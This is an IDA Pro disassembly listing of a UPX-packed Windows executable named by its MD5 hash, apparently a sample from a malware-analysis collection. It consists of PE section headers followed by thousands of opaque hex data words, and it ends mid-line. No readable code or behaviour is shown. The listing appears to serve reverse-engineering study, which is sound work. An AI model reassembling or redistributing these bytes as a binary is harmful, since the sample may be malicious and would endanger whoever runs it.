; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 1B629C6223337188BA676C7159D92329 ; File Name : u:\work\1b629c6223337188ba676c7159d92329_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 31430000 ; Section 1. (virtual address 00001000) ; Virtual size : 00005000 ( 20480.) ; Section size in file : 00005000 ( 20480.) ; Offset to raw data for section: 00001000 ; Flags E0000080: Bss Executable Readable Writable ; Alignment : default .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX0 segment para public 'CODE' use32 assume cs:UPX0 ;org 31431000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dd 1400h dup(0) UPX0 ends ; Section 2. (virtual address 00006000) ; Virtual size : 00002000 ( 8192.) ; Section size in file : 00002000 ( 8192.) ; Offset to raw data for section: 00006000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX1 segment para public 'CODE' use32 assume cs:UPX1 ;org 31436000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dd 57B71157h, 9A59A857h, 0A8C92EADh, 123582BDh, 8F53D67Bh dd 0CDAC3CCEh, 5DA8B1B0h, 61AAFAA9h, 28842C73h, 7FB9342h dd 47AC23B6h, 0A07F824Bh, 53D6ABE8h, 21A800BBh, 0EB0BC2CEh dd 52C7B0E9h, 0EE76B2ACh, 87BD5D76h, 6977D7F3h, 0FE083505h dd 406F14FBh, 0F633A368h, 99EBD8EFh, 700D415Bh, 7189727Ch dd 1727080Dh, 0E3BA6E7Fh, 0E0760Fh, 3C57FA5Ah, 0DFD80069h dd 51EA92E0h, 1CD63F7Eh, 0A49B63D8h, 51D4A6D3h, 8551809Dh dd 0C1520157h, 65CE1376h, 5870DE8Dh, 0B98115A3h, 0B02C20CCh dd 226DEBA5h, 5487ED6Dh, 51CC5902h, 0A1F6F694h, 7A4B02Ch dd 1A50F9FCh, 0AAFAF839h, 17C6F21Dh, 0FCAF816Fh, 349A8EF4h dd 287B7BEEh, 46417DFDh, 2B71C583h, 7596AC2Eh, 7CB6C539h dd 0C47BBB70h, 77D6D5CAh, 0CA89BED9h, 0E3EF334Fh, 412885FBh dd 46CD8519h, 0DBC4B81Ch, 7372B9B4h, 3A3930CBh, 0B122A93Bh dd 9F103BB8h, 0D8523206h, 0E730CB84h, 5923D005h, 0C32199h dd 0A1AB25C6h, 47B80066h, 0D6A291D8h, 0D9BD37B6h, 95B71D27h dd 0F2B8B808h, 0B884621h, 0A9EF8583h, 1D05B2B8h, 1CC7C822h dd 8EC29236h, 21536EA7h, 230CA446h, 9926AE0Dh, 2C1C1001h dd 160869EEh, 1E7613DCh, 628277Bh, 589FBEBDh, 1AE4A5AEh dd 366CB732h, 0FA35B04Bh, 9E9B19E6h, 7776D1E4h, 0C10FE34Ch dd 0B7CE9639h, 91D50CC2h, 7EB4E14Ah, 9802B364h, 4A19E68h dd 0E2E57AB5h, 0C6CB8FF5h, 0C594270Ch, 1F360931h, 8D31367h dd 44655BCDh, 75C071F2h, 0CFEFDF4h, 7298E95Ah, 0D7534325h dd 0DC47E317h, 0C0BA1083h, 0B85CD03Bh, 7E7E05B3h, 0C5DD8DA1h dd 0D7D2207Dh, 3A310C1Fh, 6B8ACBCCh, 168F08F3h, 4CDD2FD4h dd 2A4EB351h, 28C34FB5h, 0AA5EBF4Dh, 23A0E4EBh, 0D58A7726h dd 641F6A98h, 241291C1h, 0FDB44B03h, 0B0E17616h, 426B4689h dd 0D3DC26DFh, 0C5A4B55Dh, 0B64FCA0Bh, 8B5083F6h, 7D0FFF63h dd 8AFD4318h, 4C08554Eh, 0FBE5C53Ah, 4B93E315h, 0A55D7303h dd 6D39A8C1h, 8FFC78E9h, 0DB9247E3h, 6900A77Bh, 6F662EF0h dd 0BC37A04Eh, 562041C2h, 819ACEA6h, 7A44A01Ah, 0CA58239h dd 7A0C925h, 21D72CABh, 802458C2h, 5158D4Bh, 2EF53D13h dd 0E145EBDEh, 22FFC8C6h, 16A68E01h, 47112B99h, 7F7A72EAh dd 149901F5h, 686794AAh, 5A7AE061h, 0B722A290h, 0E2C27A23h dd 68E17E91h, 6ADCD7F7h, 53796881h, 0EE6C57D7h, 0C3757983h dd 5CF67498h, 6483A917h, 7C05F176h, 0AB6BF3C3h, 44D33F0Bh dd 36B03743h, 36DC6F09h, 0C430ED56h, 157D7E48h, 77F0899Fh dd 0B5BBFFF0h, 230BEDC2h, 0C074F95Dh, 47EDEFCDh, 392413A8h dd 730DE6B6h, 0B8C1B76Fh, 7359D933h, 0DA1545B2h, 0B91080A4h dd 0BC3B27B1h, 9030769Ah, 3A1206B8h, 89357AB7h, 0C7846D9Dh dd 6572F7FFh, 22E186ACh, 8B5FC387h, 0B8D94522h, 1DB618B9h dd 7025E461h, 0B89CA58Ch, 0C084B48h, 82EE7ED0h, 31E47B16h dd 22A2F6E9h, 0F26E20A8h, 18510D8Dh, 3A666A0Ch, 370A99D1h dd 7F6127F8h, 72240B70h, 12075A73h, 5D853927h, 0CF46E4BFh dd 0CDD7E0BAh, 756AF711h, 0D798847Dh, 7432A1A3h, 6BA949F4h dd 0C8A2FB98h, 2E28B52h, 1D571F5Ah, 2303B7F2h, 571995B5h dd 3EC07E58h, 0B85CF30Bh, 932032F9h, 4C52747Ah, 0A29E9656h dd 9272F5CEh, 0F5BC3BACh, 261F86EDh, 6A01624Ch, 934FC289h dd 0B90B93FBh, 4E78530Bh, 0A655FA42h, 0EDD3029Dh, 0A0275BE3h dd 0E4526FD0h, 0A95F24A4h, 0E35696DEh, 0F8FFE58Bh, 61FACA82h dd 63660AEEh, 0A8D758CAh, 0B7CAE760h, 0DBDACBFAh, 9AE9F59Eh dd 35A474D1h, 14E51AE0h, 83306CCEh, 751D09A7h, 0A9E3DA85h dd 775F176Eh, 0C42A2556h, 0EF751087h, 0EBF2C1C4h, 23E07617h dd 262D2698h, 5BCF254Bh, 0EE50C991h, 21580A3Fh, 0BE449A1Ah dd 7E2D87BBh, 44A9F199h, 0C654060h, 4DA09C9h, 401C6A27h dd 1B42F061h, 0C13D6E5Ch, 1E90C200h, 12BD0F82h, 52F1C5A2h dd 2DBA4DF3h, 0FE83C40h, 54429B33h, 41D317F4h, 7DC371D8h dd 2CBCDED0h, 0F1C99FE9h, 569642E2h, 4BAB11h, 9718AC0Dh dd 0B8C3C601h, 0A9F58B23h, 0B0DD2B4h, 692B0BD4h, 0B5617F96h dd 5B19E4ADh, 64DC28D7h, 5CDA9AD2h, 0AA4D300Fh, 3037B6F8h dd 21D02321h, 1F5F33F4h, 7C1ADB7Ch, 7ACDBEF1h, 69390287h dd 0ED6B3A9Ah, 0D127484h, 48A42DBDh, 685E716Eh, 360DC944h dd 872E5A17h, 1BF128D4h, 86BF0904h, 39084B18h, 29C0B302h dd 41854724h, 20726A4Ah, 0F80EC854h, 4D17FE76h, 0BED9DFE2h dd 0A3722E22h, 0F085A1E5h, 74A2306Ah, 0C53A17E8h, 0ADDD4B92h dd 1AF904F2h, 0A2971BA8h, 0B7604A6h, 0D6A65250h, 0D2C32AA5h dd 0A3587C90h, 0D1FC2290h, 9B91280Bh, 9C1ABE78h, 4CC5E020h dd 1B7A6D56h, 1FD39958h, 47498496h, 0F6F37638h, 7CA21A14h dd 4403EB52h, 0AA4DAC5Fh, 53009F9h, 0E921F2E1h, 0FA0166F5h dd 49E7C22Ch, 9A5F53A9h, 0FED926F2h, 653A3820h, 42E59D72h dd 0B5907370h, 94889C72h, 8EF7D31Eh, 78EF9C91h, 60577F66h dd 0AC284CD2h, 1769DDA5h, 35A8688h, 2287A3EFh, 0D1F40A93h dd 4C9EF917h, 0E9D39D2Dh, 7B6FE2E6h, 84D3E849h, 4DAC3D1Dh dd 0DA157172h, 13792593h, 91CD56FEh, 6B332740h, 969D45D1h dd 0EFEADBC4h, 0F9DD4D5Bh, 1AFA0E5Eh, 0E09C2D3Fh, 0B3F7F296h dd 0EACA3A64h, 15502262h, 8CE0B693h, 812A3082h, 2471097Ah dd 63E522DAh, 72831FDDh, 6AB23457h, 0A852DBBBh, 0DE5E5F7Ch dd 0F6435D6Dh, 0F49A4329h, 0CB525313h, 79CDB02Bh, 1D54096Dh dd 1E04FE81h, 8886CA49h, 77FF9FAFh, 2CD737C2h, 82120C93h dd 900F06C2h, 163D0B0Ah, 0BDC56862h, 0C3746814h, 1109B6E4h dd 385AC6F9h, 692B656h, 4A12B3E5h, 2062D314h, 0BDD8C9CEh dd 0D2151429h, 89415729h, 0EA02D335h, 0B3151533h, 0CF8BDD65h dd 3CCDCDA6h, 93BCCF56h, 5A856F3Dh, 26900F6Bh, 0A7A99E11h dd 9AC6DE30h, 89FC0971h, 0AD81BC63h, 607641E8h, 46194C97h dd 0E41C8E73h, 3A435254h, 178072FAh, 375D851Ah, 1A1CC6E9h dd 4EAF196Ah, 45726A34h, 54444476h, 7DEDDA9Ch, 3199245Ah dd 5E141F54h, 0B075F5B8h, 0A3D0A63Bh, 9E8E5E53h, 0DD192519h dd 0E2CB9DEDh, 53393EAh, 0BC962A65h, 2012ED9Ch, 98698DAEh dd 8CB54129h, 0C0574272h, 261E96E4h, 21169177h, 0FB1E7277h dd 79740E6Bh, 95BB65ECh, 588A20D2h, 0A4548840h, 40BC379Fh dd 917D662Eh, 0CE461CBFh, 0B533ADD7h, 8B939CFAh, 0A698685Bh dd 0ABCA12A5h, 0BDE01D5Eh, 0BFB5AAC0h, 0D1276DD9h, 112BE42Bh dd 59B286A9h, 0A75899BDh, 0DF493F33h, 3B4DA56Fh, 6157EEF7h dd 0E23CF48Ah, 651F4010h, 0A9501EB7h, 0D7654D4Dh, 0F5357E28h dd 16DBEEB7h, 0E77FA6C4h, 825912F5h, 0FD30C63h, 4B70EEA0h dd 9E1EC1DEh, 0E68A1AD0h, 38EBC3FBh, 251B6177h, 29284208h dd 0E023CFB5h, 0DBD38A9Eh, 2182B7FBh, 0DCA8D20Dh, 0C7D5EECAh dd 7BAD8957h, 0D491FB07h, 0F444C492h, 92B5A22h, 0E4FF81C9h dd 0DA73340Ah, 0A1C978B3h, 0F4C41C4h, 0FA5DA4F6h, 819111EFh dd 8C5274D1h, 0B393B6B0h, 6B2C8911h, 0DB272174h, 0C99F4B95h dd 9F3C5136h, 0BAE515C4h, 89E2D22Eh, 0A0A2D3AEh, 0AA1B151Ch dd 0F647557h, 0D88647CBh, 0A6C815FCh, 99A1E65Fh, 0CDDE298h dd 0B0644E86h, 4CB044C6h, 0EE669559h, 0F0EA6CA8h, 92EA1A8Eh dd 59E45C3Dh, 2E897107h dd 0F875555Ah, 0C2588BE2h, 0DF734BF6h, 0BB7BAB60h, 3FB238B8h dd 0F45B7FC7h, 0FA5F8CDh, 8AAD077h, 0B236CEB8h, 0D25ED71h dd 0CAFE77D7h, 0F9E9145Ch, 0A4EF5A95h, 0C06223F3h, 57A052F7h dd 4345E28Fh, 24746E87h, 200E5868h, 95A57FE5h, 0CA0C17D5h dd 5BBF3323h, 0EB540F0Fh, 0EE4C36B3h, 1A65B00h, 109B7B42h dd 1372732Bh, 0C17E6E6Dh, 4B6E712h, 0E70FC823h, 396DD8AFh dd 0A000668Dh, 0AAE284C9h, 0FE8BFE12h, 0E5F8934Bh, 530DFD4Ah dd 0F945A707h, 71B411F8h, 20F636Fh, 1D87B2D0h, 29850A2Ch dd 0E67561ABh, 948A7B65h, 9B4C6E7Ah, 8E64D544h, 3B17EF3Fh dd 2D68B2D4h, 1688006h, 40DC98A5h, 6903CD0Bh, 13EF1B6Eh dd 7E095D1Bh, 0E3A4EFF6h, 6B259846h, 0E8FB5EF1h, 8707B1E8h dd 2BF75736h, 5A9B9C0h, 0F28405D5h, 78776147h, 0E3EAC942h dd 0E932A561h, 8BFFC6FDh, 5628670Bh, 479A4D53h, 2CBAC71Fh dd 0CCC55CBCh, 0A7114D79h, 846CB64Bh, 0D12115E0h, 0F6EA2C83h dd 8725721Bh, 2DF8F12Ch, 0B8919E51h, 4CE1472Ah, 0DC1E3B2Ah dd 7B1956C1h, 584324ADh, 52F3FCECh, 0C25F4A49h, 74DCA19Bh dd 0BAC2FE3Eh, 9FE12FB6h, 0B090B8D6h, 0EDD1FD4Dh, 0BEC00165h dd 0D41402E3h, 6F1C9A8Fh, 0C8A285CCh, 6DBA4014h, 8B71F0EFh dd 0A6B20918h, 0F1799456h, 42750B15h, 90CED743h, 369626A6h dd 5F15E192h, 0C6B8FA0Bh, 0C9D7EC08h, 2D622E4Ah, 4964FC87h dd 0E09C055h, 7E6E4C3Fh, 0BA5FD72Eh, 17D7ABA6h, 71A6DBDh dd 9DF6B337h, 28996D55h, 9B34C2h, 66866A6Ch, 60444279h dd 0C0D0B1F3h, 30DEE4C0h, 111BE91Ch, 0B20251CDh, 706A326Eh dd 5619C49Ch, 35AA521Dh, 0AA4B8E81h, 870B4BB8h, 0F23221Ch dd 0CA3C4B39h, 0C8EC969Bh, 0D5A44E4Fh, 18CD6A06h, 75A1F6C1h dd 0DA416972h, 0E9181B82h, 27F03C12h, 0B37D8E04h, 6D05B168h dd 0C025A94Ch, 9A8E63C1h, 0EFEDED1Ch, 26C52764h, 46440F54h dd 0AECD0FEFh, 0C53C6503h, 2ED6B2Fh, 0DD190005h, 4613212Dh dd 0AB2D28E0h, 0ABEC1C93h, 836A9FACh, 558ADA5Bh, 0A297FCAFh dd 0AEEDA0A0h, 44C4FAD6h, 2F7F4FE3h, 3764E888h, 0B0FD7DB6h dd 36D9FBEFh, 0B49E0186h, 4584B048h, 569D16B6h, 38413168h dd 26972291h, 669718DAh, 615D6289h, 0B1EECB44h, 33F2C199h dd 0EDFE7298h, 0F2036D2Ch, 61D70F9Eh, 68C8C026h, 0C6049783h dd 0E4E58DCFh, 66BC41B6h, 3ED22088h, 0D6BC95F3h, 0F49A854Eh dd 96C95260h, 7A38FA6Dh, 0FB729929h, 3654661Bh, 0A929ED35h dd 595972B4h, 35F927A3h, 7D327862h, 6B7F6FCh, 8B93FBB8h dd 0EEEF7705h, 8FC7612Eh, 0D5A29DE9h, 678286F8h, 5B4F6BDEh dd 0B5C45591h, 55C12742h, 0EFD5D008h, 17E335A9h, 7879EEAAh dd 539DD5CFh, 0C6E97CA4h, 646605D5h, 0DC6E7DB6h, 86DA2279h dd 3044913Ah, 0CF0A2DE7h, 0C313AF89h, 0E9504F45h, 0C458816Eh dd 3FAF4DE1h, 180C973h, 0E586430h, 9FF8F5E5h, 0C48D416Bh dd 2912DF8Bh, 4BAA15CEh, 0C9676B8Eh, 95B00331h, 2B2C56E5h dd 0AC9058ACh, 98360165h, 0D49150FBh, 2279BB8Dh, 6408598h dd 86187D21h, 0ACE11A4Ah, 2483FC35h, 0A13EC622h, 838B3891h dd 0A96CAE6Ah, 0DBD0B912h, 59CAD6B9h, 1CCE7392h, 1853A71Eh dd 295F2F0Eh, 719F590Ch, 66B0FECDh, 0E1D7A997h, 0AF45BA02h dd 7BF3FF9h, 37873B1Fh, 0C31E8154h, 0EB57A343h, 240E3020h dd 0B3F5AD1h, 0F67EF569h, 0A1E41974h, 61805A9Fh, 0E09B9F7Eh dd 0A94CFF7Ah, 0D5B96B64h, 6DA4B748h, 0BE2D3CA0h, 2B3E26CDh dd 8B3C253Ah, 6BB7AFCBh, 0D40D7DB5h, 88A32B66h, 596BF307h dd 4770F031h, 9A88C97Bh, 0A723D906h, 4457DB23h, 0EF435FCDh dd 3B570B8Bh, 2D251737h, 0D66AE465h, 0D27ED272h, 4F4B397Eh dd 1C081856h, 14281010h, 0C5444C20h, 0CC88C8C6h, 8AE4C0F0h dd 9595978Eh, 85098515h, 8E01950Dh, 0D7838281h, 0E7FBE7C7h dd 2A426FFFh, 0B5099552h, 0F487EB80h, 4286990Bh, 5AA0205Eh dd 186B5DDEh, 5BDB1DCCh, 5A150D2Fh, 9EA61E1h, 0EE659548h dd 0CA914860h, 0AC00EEE4h, 0A9A92CA6h, 6635A3Eh, 35BDA55Ch dd 0CAE02A0Bh, 0DE9BF058h, 0CC28AEE0h, 0DAF37561h, 771F0F7Dh dd 2D1A858Dh, 40357CC3h, 864112CDh, 26A73F52h, 0A1028A28h dd 8FA2BEECh, 0B960D720h, 6272A628h, 99331094h, 0A9B92B36h dd 0DD46B4Fh, 6FB2E912h, 92CD9F97h, 96E14525h, 8975F0D5h dd 58190B32h, 0C8B73E69h, 9D98B304h, 407825A0h, 0AB86BC6Dh dd 6D620B88h, 35681CFCh, 0CE644DCEh, 0EB539277h, 0E141E634h dd 409FECAh, 0AB2138E5h, 0AD64FD90h, 5B52A9C9h, 0F814A8D1h dd 0CDCD3A8Ch, 0B1AB5B9Bh, 2B4ACA22h, 58178C70h, 0F0E01463h dd 8A2D26E0h, 82060DF4h, 0A42300C1h, 0B9343D26h, 2FD6E1C1h dd 44E6C787h, 9063DBFh, 9AF6E89Ch, 40F26D08h, 164AEB06h dd 9B37D848h, 0AB1B3191h, 0AC901C37h, 0BF67062h, 0DB0E08F7h dd 44B8A60Ch, 7077FF78h, 92135814h, 21952117h, 94BD9912h dd 26C286D8h, 771E7DD2h, 1143BEAh, 0B3EE329h, 0AF3A936Bh dd 0C46EA645h, 713BFE04h, 0BC240400h, 43735F1Bh, 5FDCCF49h dd 0E494EC4Ch, 9A766C65h, 94247C95h, 51008214h, 53FB6416h dd 263E762Bh, 0A79B83B5h, 42D96C01h, 41328EB2h, 0D460E856h dd 0EB377C5Ah, 0F9C8D693h, 264EC8C8h, 0D38C5BC6h, 272C20C0h dd 0CCEA55E8h, 57F075CEh, 15133A01h, 9553AE6Dh, 1526B325h dd 0A7572501h, 0C8090684h, 0F5864AC6h, 3B0BB034h, 2517D0D0h dd 53DBC343h, 49BF663Eh, 0B05E536Ah, 2BCA3EA6h, 29F1E40h dd 0FBB6525Ch, 947C645Dh, 21BE3DC5h, 0B4A01686h, 0DAE31617h dd 660E5DA8h, 0F94FCB85h, 320F9FC2h, 8E63CB77h, 0ECF4CEEDh dd 57B0A530h, 0F78734D9h, 0CD9333DFh, 0EFE32CA1h, 3F9366E0h dd 911D8D4h, 4F3AF63Dh, 0DA22FFCAh, 7C175252h, 0D9FCD5EAh dd 0F353DC87h, 0CD765B97h, 12098C42h, 0ABBF477Ch, 5A885FE8h dd 8F1733FBh, 484E0DF9h, 1514609Eh, 78B9EF7Bh, 59F82AF6h dd 28997E7Ah, 62A2CCD3h, 6626C372h, 2F2C14E0h, 394CBB99h dd 6DC4A26Ch, 3133DE06h, 78DF3BEBh, 0E6A5652Bh, 0D4B30B5Eh dd 0B2850537h, 45A5E78Dh, 0FCCE4F64h, 0AD510CF8h, 3E791E4Ch dd 5C3A6968h, 0DF2B1E67h, 59A70232h, 6B05B9F1h, 2A35D9CFh dd 41A40A48h, 655DB846h, 10F372F1h, 53BBBDDFh, 1E6BE96h dd 54125316h, 102EA344h, 3D1FAED9h, 970AC4D8h, 0B14F2320h dd 77CA0856h, 0C36DD525h, 0F20A63C7h, 0FAAF2820h, 4CBBA2EBh dd 0ECF2BC4Dh, 0ACCC2072h, 0AB16B27Ch, 1A6C7C34h, 0E191185Fh dd 66CF9F2Fh, 909A090Bh, 87828B34h, 0AA0CC800h, 0AA9E4666h dd 0A99979EBh, 3151A9F5h, 0F9759DD5h, 1AF67631h, 0E9E6ECEh dd 9011E25Ah, 8EE689C9h, 76282685h, 951C8503h, 0DBB324ACh dd 70D04892h, 9F92C5E1h, 6D11B888h, 0A0BD8988h, 959614D1h dd 0EB056FCBh, 490C05A4h, 48057D1Fh, 48CFA62h, 48D559EDh dd 40D996BEh, 7A1F7802h, 25DBC84Ch, 37DF7ED0h, 2EA92AC4h dd 0DE96F5F0h, 45984B7Dh, 67A86753h, 0D6B4EDE9h, 2B2DC9C8h dd 0DAF03C5Dh, 150206C4h, 0A39E04FEh, 0A1729333h, 0DD1F442h dd 2BD0030Ch, 7E2A43D1h, 83FCF5ECh, 9308294Dh, 28EA03F7h dd 0E8B6CEB4h, 0C1541FF3h, 78CCB2E3h, 0CF7766A3h, 74A7AF08h dd 0DAFF9276h, 2D895174h, 0F684B5F0h, 722D7D9Ch, 3BFEB94h dd 2ACB9B34h, 22281746h dd 0F3343CFDh, 8DBFF889h, 0EC3FE642h, 0F161B5E6h, 0AFFCBEF7h dd 0CA77B472h, 0A22964D2h, 58521A3Bh, 0F0A3A2Ah, 0B517300Eh dd 786905Ch, 9FC7F99Fh, 13A8ED07h, 74CF6111h, 324C4E33h dd 3E3060ACh, 9BA80220h, 0B197D5D3h, 0EEC6E753h, 93A59255h dd 18CA3717h, 8CD046D6h, 0CA7C7B1Bh, 0B6D43DC6h, 9E839BD3h dd 7493A42Dh, 0C9501294h, 0DD555698h, 3D2D0481h, 4CD6283Eh dd 38F4B283h, 50D4F25Bh, 434CA758h, 0DBBD50A6h, 0E317F765h dd 0D54BE4FBh, 5254D46h, 7C84F6E8h, 0DCED14FDh, 728FFEEBh dd 1141588h, 7FA74C5Eh, 51C2CEF4h, 1D9CD84h, 4221AF79h dd 2F4C90B8h, 706A4FCBh, 7088A078h, 6AC9C9C9h, 5F1D14C4h dd 0F4E889A3h, 5DCF0BFAh, 0A6C4F532h, 9392916Eh, 0BF4849B6h dd 195E4FB2h, 0A53DC78Bh, 75B2A91Fh, 54EACA1Eh, 2DA37607h dd 9AB08095h, 0F7F6F5CAh, 0BF3A5A66h, 73D7B4A0h, 0C337EE84h dd 1318576Dh, 71A3495h, 0B7A91B8Eh, 0B12EDE22h, 0FD34B3B2h dd 5EC7214Ch, 0F61960CCh, 0BA5A123Ch, 0D92A8192h, 0F86F051h dd 39F85DADh, 0B4F9101Dh, 4653C2B1h, 26CBFDDDh, 7FC10641h dd 0BA258C1Bh, 0DEFE121Ch, 9BB07D2Bh, 0DCEAF8EFh, 108E8165h dd 2DE9E0C4h, 0B9B06F19h, 60F04E79h, 10707400h, 4C7BB6EEh dd 82C839A1h, 0A6163A2Eh, 0D685DDFAh, 4F1F3D9Dh, 5FE98925h dd 5C529360h, 248CCFDCh, 0AB1E10BEh, 0FB93A62Dh, 0C0C7270Dh dd 94FB57ABh, 0B568F0FFh, 8E9B5050h, 44A53EADh, 0CD339BF4h dd 0B30D82CEh, 1579DA5Ch, 74D32884h, 8E906475h, 2AC62831h dd 5426C040h, 1A7B7BF1h, 0A40F67F4h, 0F8058B58h, 0A0C4369Bh dd 0D703634Eh, 617752DAh, 0B01F6B6Dh, 9E893E40h, 83465127h dd 0C7390FC5h, 951B6FBDh, 96F16542h, 6368F618h, 6814A29Eh dd 5473FEE1h, 0F407E3A9h, 0BA453D4Ch, 92FC41A5h, 3B6EF31Eh dd 1C4D56D2h, 15261425h, 0AF90A636h, 5D3FE901h, 2BFEFFC6h dd 389FE857h, 780F8F4h, 0BCBA6486h, 66F0402Dh, 0EE756504h dd 308DEB6Ah, 8597741Ah, 87D87128h, 14693664h, 0EFF5BB4h dd 0E47D7C47h, 72DB2B80h, 0A83585EEh, 0A414655Ch, 5DC24ABFh dd 0F3E860D9h, 0EF4302F9h, 91D1124Eh, 0A3E3185Ch, 5D8D367Ah dd 17B7E410h, 0C769BCC6h, 0B5CF66B0h, 0CCA7BAB1h, 971E7091h dd 0D1386B63h, 0F999E74Bh, 53DB274Ch, 53A21828h, 0B95BECAEh dd 0DA24C249h, 0CF60D22Dh, 0C3274FFEh, 6635EF5Fh, 0FDBF8257h dd 159E9E6Eh, 822AC906h, 1DC222AAh, 6C71765Bh, 0B38974B5h dd 0F9FF4DC8h, 96E64F61h, 7279BA00h, 0D918EEFAh, 0BAA56313h dd 4F5A0DC8h, 6311DED7h, 4CEB08B4h, 0DFECCDD9h, 0F1A16125h dd 538245DEh, 0E995946Bh, 55F609D9h, 7E075156h, 89E26F6Eh dd 75FFFD74h, 1F8E6D8Fh, 886F8604h, 3ECEDAD0h, 0D921B078h dd 0E4C5A7DEh, 903EB1Dh, 0A5CD5C53h, 77CEA31Ah, 3085D459h dd 0E31E0A8Bh, 709449A6h, 0BE9D9C8Bh, 127A8647h, 0AD33CE48h dd 52C8269Bh, 0E37BAAB6h, 7105E409h, 0D2C97A70h, 0BCBE869Dh dd 91E1F1B1h, 608C3BCEh, 0F76F4BDDh, 0CEBDAC3Dh, 943BDF2Bh dd 2802F66Bh, 68F1F83Dh, 37A48763h, 8089FCBCh, 321B8763h dd 6140C774h, 605E490h, 0D7AB3B0Bh, 0D97CC83Bh, 0B81DA2B9h dd 0D5D655C3h, 0CE0C2D3h, 0FF0EBAADh, 3D45B661h, 0B1028FDCh dd 6375CBFAh, 412E0B99h, 436B3B49h, 0B2DFBE53h, 0B4402223h dd 7D5CE13h, 48D9D169h, 0A35C3578h, 0E9F898B7h, 283CBC06h dd 0D3842E94h, 54936F92h, 0BF932A8Eh, 4CA4758Ch, 56C1F2BFh dd 447BE20Eh, 6F1B7A4h, 0FA226C67h, 1F8DBE79h, 26EDD442h dd 219EF0A5h, 0FD81126Fh, 0C2A52F6h, 9B226C6h, 0E4FFC6A6h dd 0DD284F56h, 830A88D2h, 869F9E45h, 71971BCFh, 0D11F1B0Ch dd 0DB32DD14h, 0CAF90A0Ah, 90174D6Bh, 0D63F2F1h, 3325751Dh dd 47368B3Ah, 90614D5Ah, 0F3EAE89Fh, 0D8A7E2DFh, 0E7824687h dd 0ABA5FFFBh, 0D5C5ACB7h, 906FB0D0h, 0C7EDAC8Bh, 711B9A20h dd 9DB76ADCh, 96B86DCBh, 3D88E975h, 520D4CD1h, 0C99BD09Dh dd 0E0676701h, 0C3C4A1DEh, 0FC49687Ah, 21EB7AF4h, 96956E44h dd 0A06C4797h, 502EFBE1h, 0B799ABB1h, 0FDC722A8h, 0EDA539Bh dd 0DA1923A5h, 863C3C1Bh, 0A1246FEDh, 4C6AA90Eh, 5B461460h dd 0C48A5DEh, 1859ADEFh, 585918D7h, 3484C949h, 4AA2BDF0h dd 0AC62D5Ch, 7B1D87F2h, 0A9231069h, 94CF3797h, 6BF9E015h dd 0A8CC4143h, 0BC4E4E4Bh, 88AAEE47h, 0D23AE199h, 321E9B45h dd 1329B0B0h, 3DAA9968h, 0F1880F84h, 99D27D78h, 0BECD1163h dd 32B8F788h, 0E4767675h, 79BAEAE8h, 96396DD6h, 24F23557h dd 52892674h, 0BC8DEF0Eh, 0E9317A65h, 0B2F0D7D8h, 2494C50Bh dd 0D0BB8522h, 0D2EF65B6h, 1E6508F3h, 5CD75D0Bh, 0C02E9CE5h dd 0AD4815EFh, 540BDDFCh, 9EA654DCh, 91430D3Fh, 3F0732FBh dd 0EE06F46Ch, 1758122Eh, 83AAEE83h, 2F49A8DBh, 2BE8F2D5h dd 0F9F528C7h, 0C04ECFDh, 2885490Ch, 6E6FCAECh, 6E95D919h dd 0E469023h, 0CEB28C38h, 5155D7BCh, 0BC981681h, 0AD86D471h dd 0A0AF9F5Fh, 74A8DBA3h, 0E265DEFCh, 0FFF4F5A5h, 0F1C4B273h dd 0BCCFAEDAh, 0EF948019h, 0BD6235EFh, 28DE81BDh, 95759208h dd 96E5C741h, 83B1ABABh, 0E1E75728h, 16484FF6h, 0E79A9C90h dd 0B09E7918h, 6FC5AEB1h, 1F9F17E7h, 0B62A6E50h, 0F3845340h dd 0F2FC761Ah, 13039F16h, 136722CCh, 44018CCBh, 337E6C74h dd 4B73F897h, 1C58AFABh, 7B7C9C86h, 0FE921A3Eh, 5171129Fh dd 0B3A874A9h, 7C9F18Dh, 50E5FE20h, 5E94228Eh, 0DDC9729Eh dd 9A7FE2DDh, 0E0728367h, 6A4E824Ah, 7E31C9AAh, 0D529D6C0h dd 9F916D0Bh, 552A899Fh, 5C807157h, 5C74A4ECh, 0CFA9B685h dd 6500E7D4h, 0E1CA3C15h, 4D9DB675h, 0A424EE82h, 0BB131ABFh dd 4F5FBCF4h, 0D2C13561h, 3E752BB0h, 3C46E835h, 801085E6h dd 0F72CE798h, 3324D4F8h, 0ACA2A7DEh, 82AAB4A7h, 6D62DAAAh dd 2CDC876Eh, 822A3E3Bh, 8128D2CBh, 0F559A031h, 0CD8AC505h dd 6994EDC3h, 0C764B324h, 0E8E2F57Fh, 6175C8D9h, 0A0C8864Dh dd 0EA934150h, 0CA3E8AC4h, 0D995B591h, 344313E1h, 1BD7561Ah dd 39E9F1D8h, 0ED5519B9h, 36242DADh, 0C02221DAh, 0AB23B709h dd 0DB14543Eh, 0B08F2F9Fh, 2235177Ch, 8D185354h, 835E9156h dd 0D3D3BEBBh, 967F2578h, 0E0736B7Bh, 0F6D905DAh, 300BF9F7h dd 20BE7176h, 5BDF17F1h, 3A3178EBh, 19E94E8Dh, 0BF07F8F7h dd 0CB8F48AFh, 0A5C8D0DAh, 34B6C5B8h, 76790D52h, 9797850h dd 823C626Dh, 0F8F74B1Eh, 9CAA9493h, 6450AB99h, 16646317h dd 0DB8EF5E9h, 4DD13309h, 0AD2CBFE2h, 0D8874575h, 45E5218Fh dd 2BA7D545h, 7B7B4C28h, 3F04853Dh, 41B35C1Bh, 6C7EBC97h dd 0F018D085h, 7EBF2D3Dh, 7BCFD3D3h, 333D7A82h, 0EA20D03Bh dd 0BC8F12AEh, 1477F71Eh, 48372AFEh, 0E00A43D9h, 